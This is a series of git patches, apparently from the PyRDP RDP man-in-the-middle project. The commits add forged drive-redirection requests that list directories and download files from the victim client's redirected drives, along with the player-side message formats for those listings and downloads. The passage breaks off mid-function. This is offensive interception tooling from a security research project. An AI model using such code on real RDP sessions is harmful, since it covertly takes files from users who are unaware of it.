self.directoryListingPaths[completionID] = path + request = DeviceRedirectionMITM.ForgedDirectoryListingRequest(deviceID, completionID, self, path) + self.forgedRequests[completionID] = request - if "*" not in path: - openPath = path - else: - openPath = path[: path.index("*")] - - if openPath.endswith("\\"): - openPath = path[: -1] - - # We need to start by opening the directory. - request = DeviceCreateRequestPDU( - deviceID, - 0, - completionID, - 0, - DirectoryAccessMask.FILE_LIST_DIRECTORY, - 0, - FileAttributes.FILE_ATTRIBUTE_DIRECTORY, - FileShareAccess(7), # read, write, delete - FileCreateDisposition.FILE_OPEN, - FileCreateOptions.FILE_DIRECTORY_FILE, - openPath - ) + request.send() + return completionID - # Make sure the request is registered within our own tracking system. - self.handleIORequest(request) - self.client.sendPDU(request) - return completionID - def handleForgedDirectoryOpen(self, openResponse: DeviceCreateResponsePDU): - if openResponse.ioStatus != 0: - return + class ForgedRequest: + """ + Base class for forged requests that simulate the server asking for information. + """ + + def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM'): + """ + :param deviceID: ID of the device used. + :param requestID: this request's ID. + :param mitm: the parent MITM. + """ + + self.deviceID = deviceID + self.requestID = requestID + self.mitm: 'DeviceRedirectionMITM' = mitm + self.fileID: Optional[int] = None + self.isComplete = False + self.handlers: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.onCreateResponse, + MajorFunction.IRP_MJ_CLOSE: self.onCloseResponse, + } + + def send(self): + pass - self.directoryListingFileIDs[openResponse.completionID] = openResponse.fileID + def sendIORequest(self, request: DeviceIORequestPDU): + self.mitm.client.sendPDU(request) + + def complete(self): + self.isComplete = True + + def handleResponse(self, response: DeviceIOResponsePDU): + if response.majorFunction in self.handlers: + self.handlers[response.majorFunction](response) + + def onCreateResponse(self, response: DeviceCreateResponsePDU): + if response.ioStatus == 0: + self.fileID = response.fileID + + def onCloseResponse(self, _: DeviceCloseResponsePDU): + self.complete() + + + class ForgedDirectoryListingRequest(ForgedRequest): + def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM', path: str): + """ + :param deviceID: ID of the device used. + :param requestID: this request's ID. + :param mitm: the parent MITM. + :param path: path to list. + """ + super().__init__(deviceID, requestID, mitm) + self.path = path + self.handlers[MajorFunction.IRP_MJ_DIRECTORY_CONTROL] = self.onDirectoryControlResponse + + def send(self): + if "*" not in self.path: + openPath = self.path + else: + openPath = self.path[: self.path.index("*")] + + if openPath.endswith("\\"): + openPath = self.path[: -1] + + # We need to start by opening the directory. + request = DeviceCreateRequestPDU( + self.deviceID, + 0, + self.requestID, + 0, + DirectoryAccessMask.FILE_LIST_DIRECTORY, + 0, + FileAttributes.FILE_ATTRIBUTE_DIRECTORY, + FileShareAccess(7), # read, write, delete + FileCreateDisposition.FILE_OPEN, + FileCreateOptions.FILE_DIRECTORY_FILE, + openPath + ) - # Now that the file is open, start listing the directory. - request = DeviceQueryDirectoryRequestPDU( - openResponse.deviceID, - openResponse.fileID, - openResponse.completionID, - FileSystemInformationClass.FileBothDirectoryInformation, - 1, - self.directoryListingPaths[openResponse.completionID] - ) + self.sendIORequest(request) - self.handleIORequest(request) - self.client.sendPDU(request) - - def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponsePDU): - for info in response.fileInformation: - try: - isDirectory = info.fileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY != 0 - except AttributeError: - isDirectory = False - - self.observer.onDirectoryListingResult(response.completionID, response.deviceID, info.fileName, isDirectory) - - # Send a follow-up request to get the next file (or a nonzero ioStatus, which will complete the listing). - pdu = DeviceQueryDirectoryRequestPDU( - response.deviceID, - self.directoryListingFileIDs[response.completionID], - response.completionID, - response.informationClass, - 0, - "" - ) + def onCreateResponse(self, response: DeviceCreateResponsePDU): + super().onCreateResponse(response) - self.handleIORequest(pdu) - self.client.sendPDU(pdu) + if self.fileID is None: + return - def handleDirectoryListingComplete(self, response: DeviceQueryDirectoryResponsePDU): - fileID = self.directoryListingFileIDs.pop(response.completionID) - self.directoryListingPaths.pop(response.completionID) + # Now that the file is open, start listing the directory. + request = DeviceQueryDirectoryRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + FileSystemInformationClass.FileBothDirectoryInformation, + 1, + self.path + ) - self.observer.onDirectoryListingComplete(response.completionID) + self.sendIORequest(request) - # Once we're done, we can close the file. - request = DeviceCloseRequestPDU( - response.deviceID, - fileID, - response.completionID, - 0 - ) + def onDirectoryControlResponse(self, response: Union[DeviceDirectoryControlResponsePDU, DeviceQueryDirectoryResponsePDU]): + if response.minorFunction != MinorFunction.IRP_MN_QUERY_DIRECTORY: + return + + if response.ioStatus == 0: + self.handleDirectoryListingResponse(response) + else: + self.handleDirectoryListingComplete(response) + + def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponsePDU): + for info in response.fileInformation: + try: + isDirectory = info.fileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY != 0 + except AttributeError: + isDirectory = False + + self.mitm.observer.onDirectoryListingResult(response.completionID, response.deviceID, info.fileName, isDirectory) + + # Send a follow-up request to get the next file (or a nonzero ioStatus, which will complete the listing). + pdu = DeviceQueryDirectoryRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + response.informationClass, + 0, + "" + ) - self.handleIORequest(request) - self.client.sendPDU(request) + self.sendIORequest(pdu) + + def handleDirectoryListingComplete(self, _: DeviceQueryDirectoryResponsePDU): + self.mitm.observer.onDirectoryListingComplete(self.requestID) + + # Once we're done, we can close the file. + request = DeviceCloseRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + 0 + ) - def handleForgedDirectoryClose(self, response: DeviceCloseResponsePDU): - # The directory is closed, we can remove the request ID from the list. - self.directoryListingRequests.remove(response.completionID) \ No newline at end of file + self.sendIORequest(request) \ No newline at end of file From f44e05286cd1577747b7f9296f3e434a4c66e3eb Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 13:40:03 -0400 Subject: [PATCH 096/113] Make directory list sorting case insensitive --- pyrdp/player/FileSystemItem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyrdp/player/FileSystemItem.py b/pyrdp/player/FileSystemItem.py index 63d765b37..6d7d26db0 100644 --- a/pyrdp/player/FileSystemItem.py +++ b/pyrdp/player/FileSystemItem.py @@ -43,4 +43,4 @@ def __lt__(self, other: 'FileSystemItem'): if self.isDirectory() != other.isDirectory(): return self.isDirectory() - return self.text() < other.text() \ No newline at end of file + return self.text().upper() < other.text().upper() \ No newline at end of file From 24fca9c791dfd0c82f76b0d7e618db9ada12d181 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 14:07:10 -0400 Subject: [PATCH 097/113] Change directory listing response so it can have more than 1 path --- pyrdp/mitm/AttackerMITM.py | 5 ++-- pyrdp/parser/player.py | 37 ++++++++++++++++++-------- pyrdp/pdu/__init__.py | 5 ++-- pyrdp/pdu/player.py | 21 ++++++++++++--- pyrdp/player/LiveEventHandler.py | 45 ++++++++++++++++---------------- 5 files changed, 72 insertions(+), 41 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index cff1643f7..ad86d6354 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -15,7 +15,7 @@ from pyrdp.parser import BitmapParser from pyrdp.pdu import BitmapUpdateData, DeviceAnnounce, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ - PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, \ + PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU @@ -202,7 +202,8 @@ def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, path = self.directoryListingRequests[requestID] filePath = path / fileName - pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, str(filePath), isDirectory) + description = PlayerFileDescription(str(filePath), isDirectory) + pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, [description]) self.attacker.sendPDU(pdu) def onDirectoryListingComplete(self, requestID: int): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 15afabafd..4b0840d03 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -4,8 +4,9 @@ from pyrdp.enum import DeviceType, MouseButton, PlayerPDUType from pyrdp.parser.segmentation import SegmentationParser from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ - PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, \ - PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU + PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU class PlayerParser(SegmentationParser): @@ -223,17 +224,31 @@ def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, st stream.write(path) - def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingResponsePDU: - deviceID = Uint32LE.unpack(stream) + def parseFileDescription(self, stream: BytesIO) -> PlayerFileDescription: length = Uint32LE.unpack(stream) - filePath = stream.read(length).decode() + path = stream.read(length).decode() isDirectory = bool(Uint8.unpack(stream)) - return PlayerDirectoryListingResponsePDU(timestamp, deviceID, filePath, isDirectory) - def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): - filePath = pdu.filePath.encode() + return PlayerFileDescription(path, isDirectory) + + def writeFileDescription(self, description: PlayerFileDescription, stream: BytesIO): + path = description.path.encode() + + Uint32LE.pack(len(path), stream) + stream.write(path) + Uint8.pack(int(description.isDirectory), stream) + + def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> PlayerDirectoryListingResponsePDU: + deviceID = Uint32LE.unpack(stream) + count = Uint32LE.unpack(stream) + fileDescriptions = [self.parseFileDescription(stream) for _ in range(count)] + + return PlayerDirectoryListingResponsePDU(timestamp, deviceID, fileDescriptions) + + def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): Uint32LE.pack(pdu.deviceID, stream) - Uint32LE.pack(len(filePath), stream) - stream.write(filePath) - Uint32LE.pack(int(pdu.isDirectory), stream) \ No newline at end of file + Uint32LE.pack(len(pdu.fileDescriptions), stream) + + for description in pdu.fileDescriptions: + self.writeFileDescription(description, stream) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 867edc11c..de2aca4bd 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -10,8 +10,9 @@ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ - PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerForwardingStatePDU, PlayerKeyboardPDU, \ - PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, PlayerPDU, PlayerTextPDU + PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index cd80aff58..d9f9362ea 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -4,6 +4,8 @@ # Licensed under the GPLv3 or later. # +from typing import List + from pyrdp.enum import DeviceType, PlayerPDUType from pyrdp.enum.player import MouseButton from pyrdp.pdu.pdu import PDU @@ -150,15 +152,26 @@ def __init__(self, timestamp: int, deviceID: int, path: str): self.path = path +class PlayerFileDescription(PDU): + def __init__(self, filePath: str, isDirectory: bool): + """ + :param filePath: Unix-style path of the file. + :param isDirectory: True if the file is a directory. + """ + + super().__init__() + self.path = filePath + self.isDirectory = isDirectory + + class PlayerDirectoryListingResponsePDU(PlayerPDU): - def __init__(self, timestamp: int, deviceID: int, filePath: str, isDirectory: bool): + def __init__(self, timestamp: int, deviceID: int, fileDescriptions: List[PlayerFileDescription]): """ :param timestamp: time stamp for this PDU. :param deviceID: ID of the device used. - :param path: Unix-style path of the file. + :param fileDescriptions: list of file descriptions. """ super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") self.deviceID = deviceID - self.filePath = filePath - self.isDirectory = isDirectory \ No newline at end of file + self.fileDescriptions = fileDescriptions \ No newline at end of file diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py index 3a435503b..35ca70b5e 100644 --- a/pyrdp/player/LiveEventHandler.py +++ b/pyrdp/player/LiveEventHandler.py @@ -39,33 +39,34 @@ def onListDirectory(self, deviceID: int, path: str): self.layer.sendPDU(request) def handleDirectoryListingResponse(self, response: PlayerDirectoryListingResponsePDU): - path = PosixPath(response.filePath) - parts = path.parts - directoryNames = list(parts[1 : -1]) - fileName = path.name + for description in response.fileDescriptions: + path = PosixPath(description.path) + parts = path.parts + directoryNames = list(parts[1 : -1]) + fileName = path.name - if fileName in ["", ".", ".."]: - return + if fileName in ["", ".", ".."]: + continue - drive = self.drives[response.deviceID] + drive = self.drives[response.deviceID] - currentDirectory = drive - while len(directoryNames) > 0: - currentName = directoryNames.pop(0) + currentDirectory = drive + while len(directoryNames) > 0: + currentName = directoryNames.pop(0) - newDirectory = None + newDirectory = None - for directory in drive.directories: - if directory.name == currentName: - newDirectory = directory - break + for directory in drive.directories: + if directory.name == currentName: + newDirectory = directory + break - if newDirectory is None: - return + if newDirectory is None: + return - currentDirectory = newDirectory + currentDirectory = newDirectory - if response.isDirectory: - currentDirectory.addDirectory(fileName) - else: - currentDirectory.addFile(fileName) \ No newline at end of file + if description.isDirectory: + currentDirectory.addDirectory(fileName) + else: + currentDirectory.addFile(fileName) \ No newline at end of file From aae292a613a3e570903b16035bae553ff3e0c642 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 14:29:06 -0400 Subject: [PATCH 098/113] Send directory listing files in chunks --- pyrdp/mitm/AttackerMITM.py | 23 ++++++++++++++++++----- pyrdp/mitm/DeviceRedirectionMITM.py | 4 ++-- 2 files changed, 20 insertions(+), 7 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index ad86d6354..cac96cd2b 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -3,6 +3,7 @@ # Copyright (C) 2019 GoSecure Inc. # Licensed under the GPLv3 or later. # +from collections import defaultdict from logging import LoggerAdapter from pathlib import Path from typing import Dict, Optional @@ -46,6 +47,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe self.devices: Dict[int, DeviceAnnounce] = {} self.deviceRedirection: Optional[DeviceRedirectionMITM] = None self.directoryListingRequests: Dict[int, Path] = {} + self.directoryListingLists = defaultdict(list) self.attacker.createObserver( onPDUReceived = self.onPDUReceived, @@ -203,8 +205,19 @@ def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, filePath = path / fileName description = PlayerFileDescription(str(filePath), isDirectory) - pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, [description]) - self.attacker.sendPDU(pdu) - - def onDirectoryListingComplete(self, requestID: int): - self.directoryListingRequests.pop(requestID, None) \ No newline at end of file + directoryList = self.directoryListingLists[requestID] + directoryList.append(description) + + if len(directoryList) == 10: + self.sendDirectoryList(requestID, deviceID) + directoryList.clear() + + def onDirectoryListingComplete(self, requestID: int, deviceID: int): + self.sendDirectoryList(requestID, deviceID) + self.directoryListingRequests.pop(requestID, None) + self.directoryListingLists.pop(requestID, None) + + def sendDirectoryList(self, requestID: int, deviceID: int): + directoryList = self.directoryListingLists[requestID] + pdu = PlayerDirectoryListingResponsePDU(self.attacker.getCurrentTimeStamp(), deviceID, directoryList) + self.attacker.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index a6c6385e2..caf9b231b 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -30,7 +30,7 @@ def onDeviceAnnounce(self, device: DeviceAnnounce): def onDirectoryListingResult(self, requestID: int, deviceID: int, fileName: str, isDirectory: bool): pass - def onDirectoryListingComplete(self, requestID: int): + def onDirectoryListingComplete(self, requestID: int, deviceID: int): pass @@ -415,7 +415,7 @@ def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponseP self.sendIORequest(pdu) def handleDirectoryListingComplete(self, _: DeviceQueryDirectoryResponsePDU): - self.mitm.observer.onDirectoryListingComplete(self.requestID) + self.mitm.observer.onDirectoryListingComplete(self.requestID, self.deviceID) # Once we're done, we can close the file. request = DeviceCloseRequestPDU( From 07a6a475b1f1e0fcde41516a414179d63d1f05bf Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 14:57:35 -0400 Subject: [PATCH 099/113] Cache icons for file system item widgets --- pyrdp/player/FileSystemItem.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/pyrdp/player/FileSystemItem.py b/pyrdp/player/FileSystemItem.py index 6d7d26db0..6a5d129bd 100644 --- a/pyrdp/player/FileSystemItem.py +++ b/pyrdp/player/FileSystemItem.py @@ -3,14 +3,18 @@ # Copyright (C) 2019 GoSecure Inc. # Licensed under the GPLv3 or later. # +from typing import Dict from PySide2.QtCore import QObject +from PySide2.QtGui import QIcon from PySide2.QtWidgets import QFileIconProvider, QListWidgetItem from pyrdp.player.filesystem import FileSystemItemType class FileSystemItem(QListWidgetItem): + _iconCache: Dict[QFileIconProvider.IconType, QIcon] = {} + def __init__(self, name: str, itemType: FileSystemItemType, parent: QObject = None): if itemType == FileSystemItemType.Drive: iconType = QFileIconProvider.IconType.Drive @@ -19,7 +23,11 @@ def __init__(self, name: str, itemType: FileSystemItemType, parent: QObject = No else: iconType = QFileIconProvider.IconType.File - icon = QFileIconProvider().icon(iconType) + icon = FileSystemItem._iconCache.get(iconType, None) + + if icon is None: + icon = QFileIconProvider().icon(iconType) + FileSystemItem._iconCache[iconType] = icon super().__init__(icon, name, parent) self.itemType = itemType From a731110ddaec902c6c56d8d9ac927391d29ac199 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 16:04:28 -0400 Subject: [PATCH 100/113] Add player file download PDUs --- pyrdp/enum/player.py | 3 +++ pyrdp/parser/player.py | 60 +++++++++++++++++++++++++++++++++++++++++- pyrdp/pdu/__init__.py | 1 + pyrdp/pdu/player.py | 44 ++++++++++++++++++++++++++++++- 4 files changed, 106 insertions(+), 2 deletions(-) diff --git a/pyrdp/enum/player.py b/pyrdp/enum/player.py index 78f8e711b..b4446d4df 100644 --- a/pyrdp/enum/player.py +++ b/pyrdp/enum/player.py @@ -23,6 +23,9 @@ class PlayerPDUType(IntEnum): DEVICE_MAPPING = 15 # Device mapping event notification DIRECTORY_LISTING_REQUEST = 16 # Directory listing request from the player DIRECTORY_LISTING_RESPONSE = 17 # Directory listing response to the player + FILE_DOWNLOAD_REQUEST = 18 # File download request from the player + FILE_DOWNLOAD_RESPONSE = 19 # File download response to the player + FILE_DOWNLOAD_COMPLETE = 20 # File download completion notification to the player class MouseButton(IntEnum): diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 4b0840d03..d67de7c06 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -5,6 +5,7 @@ from pyrdp.parser.segmentation import SegmentationParser from pyrdp.pdu import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU @@ -25,6 +26,9 @@ def __init__(self): PlayerPDUType.DEVICE_MAPPING: self.parseDeviceMapping, PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.parseDirectoryListingRequest, PlayerPDUType.DIRECTORY_LISTING_RESPONSE: self.parseDirectoryListingResponse, + PlayerPDUType.FILE_DOWNLOAD_REQUEST: self.parseFileDownloadRequest, + PlayerPDUType.FILE_DOWNLOAD_RESPONSE: self.parseFileDownloadResponse, + PlayerPDUType.FILE_DOWNLOAD_COMPLETE: self.parseFileDownloadComplete, } self.writers = { @@ -39,6 +43,9 @@ def __init__(self): PlayerPDUType.DEVICE_MAPPING: self.writeDeviceMapping, PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.writeDirectoryListingRequest, PlayerPDUType.DIRECTORY_LISTING_RESPONSE: self.writeDirectoryListingResponse, + PlayerPDUType.FILE_DOWNLOAD_REQUEST: self.writeFileDownloadRequest, + PlayerPDUType.FILE_DOWNLOAD_RESPONSE: self.writeFileDownloadResponse, + PlayerPDUType.FILE_DOWNLOAD_COMPLETE: self.writeFileDownloadComplete, } @@ -251,4 +258,55 @@ def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, Uint32LE.pack(len(pdu.fileDescriptions), stream) for description in pdu.fileDescriptions: - self.writeFileDescription(description, stream) \ No newline at end of file + self.writeFileDescription(description, stream) + + + def parseFileDownloadRequest(self, stream: BytesIO, timestamp: int) -> PlayerFileDownloadRequestPDU: + deviceID = Uint32LE.unpack(stream) + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + return PlayerFileDownloadRequestPDU(timestamp, deviceID, path) + + def writeFileDownloadRequest(self, pdu: PlayerFileDownloadRequestPDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + + + def parseFileDownloadResponse(self, stream: BytesIO, timestamp: int) -> PlayerFileDownloadResponsePDU: + deviceID = Uint32LE.unpack(stream) + pathLength = Uint32LE.unpack(stream) + path = stream.read(pathLength).decode() + offset = Uint64LE.unpack(stream) + payloadLength = Uint32LE.unpack(stream) + payload = stream.read(payloadLength) + + return PlayerFileDownloadResponsePDU(timestamp, deviceID, path, offset, payload) + + def writeFileDownloadResponse(self, pdu: PlayerFileDownloadResponsePDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + Uint64LE.pack(pdu.offset, stream) + Uint32LE.pack(len(pdu.payload), stream) + stream.write(pdu.payload) + + + def parseFileDownloadComplete(self, stream: BytesIO, timestamp: int) -> PlayerFileDownloadCompletePDU: + deviceID = Uint32LE.unpack(stream) + length = Uint32LE.unpack(stream) + path = stream.read(length).decode() + error = Uint32LE.unpack(stream) + return PlayerFileDownloadCompletePDU(timestamp, deviceID, path, error) + + def writeFileDownloadComplete(self, pdu: PlayerFileDownloadCompletePDU, stream: BytesIO): + path = pdu.path.encode() + + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(len(path), stream) + stream.write(path) + Uint32LE.pack(pdu.error, stream) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index de2aca4bd..8797f137a 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -11,6 +11,7 @@ from pyrdp.pdu.pdu import PDU from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index d9f9362ea..d13ba6e2d 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -174,4 +174,46 @@ def __init__(self, timestamp: int, deviceID: int, fileDescriptions: List[PlayerF super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") self.deviceID = deviceID - self.fileDescriptions = fileDescriptions \ No newline at end of file + self.fileDescriptions = fileDescriptions + + +class PlayerFileDownloadRequestPDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + """ + + super().__init__(PlayerPDUType.FILE_DOWNLOAD_REQUEST, timestamp, b"") + self.deviceID = deviceID + self.path = path + +class PlayerFileDownloadResponsePDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str, offset: int, payload: bytes): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + :param offset: offset at which the data starts in the file. + :param payload: file data that was read. + """ + + super().__init__(PlayerPDUType.FILE_DOWNLOAD_RESPONSE, timestamp, payload) + self.deviceID = deviceID + self.path = path + self.offset = offset + +class PlayerFileDownloadCompletePDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str, error: int): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + :param error: error that resulted in completion (0 if nothing went wrong). + """ + + super().__init__(PlayerPDUType.FILE_DOWNLOAD_COMPLETE, timestamp, b"") + self.deviceID = deviceID + self.path = path + self.error = error \ No newline at end of file From f51cabe9e08a1a25b053672188e10629515e43c4 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 17:28:24 -0400 Subject: [PATCH 101/113] Implement file downloads on the MITM side --- pyrdp/mitm/AttackerMITM.py | 41 +++++++- pyrdp/mitm/DeviceRedirectionMITM.py | 143 ++++++++++++++++++++++++---- 2 files changed, 164 insertions(+), 20 deletions(-) diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index cac96cd2b..d64b9fa33 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -17,6 +17,7 @@ from pyrdp.pdu import BitmapUpdateData, DeviceAnnounce, FastPathBitmapEvent, FastPathInputEvent, FastPathMouseEvent, \ FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, FastPathUnicodeEvent, PlayerBitmapPDU, \ PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU, \ PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ PlayerPDU, PlayerTextPDU @@ -46,6 +47,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe self.recorder = recorder self.devices: Dict[int, DeviceAnnounce] = {} self.deviceRedirection: Optional[DeviceRedirectionMITM] = None + self.fileDownloadRequests: Dict[int, Path] = {} self.directoryListingRequests: Dict[int, Path] = {} self.directoryListingLists = defaultdict(list) @@ -61,6 +63,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, attacker: Playe PlayerPDUType.TEXT: self.handleText, PlayerPDUType.FORWARDING_STATE: self.handleForwardingState, PlayerPDUType.BITMAP: self.handleBitmap, + PlayerPDUType.FILE_DOWNLOAD_REQUEST: self.handleFileDownloadRequest, PlayerPDUType.DIRECTORY_LISTING_REQUEST: self.handleDirectoryListingRequest, } @@ -181,6 +184,38 @@ def onDeviceAnnounce(self, device: DeviceAnnounce): self.recorder.record(pdu, pdu.header) + def handleFileDownloadRequest(self, pdu: PlayerFileDownloadRequestPDU): + path = pdu.path.replace("/", "\\") + + requestID = self.deviceRedirection.sendForgedFileRead(pdu.deviceID, path) + self.fileDownloadRequests[requestID] = path + + def onFileDownloadResult(self, deviceID: int, requestID: int, path: str, offset: int, data: bytes): + if requestID not in self.fileDownloadRequests: + return + + pdu = PlayerFileDownloadResponsePDU( + self.attacker.getCurrentTimeStamp(), + deviceID, + path, + offset, + data + ) + + 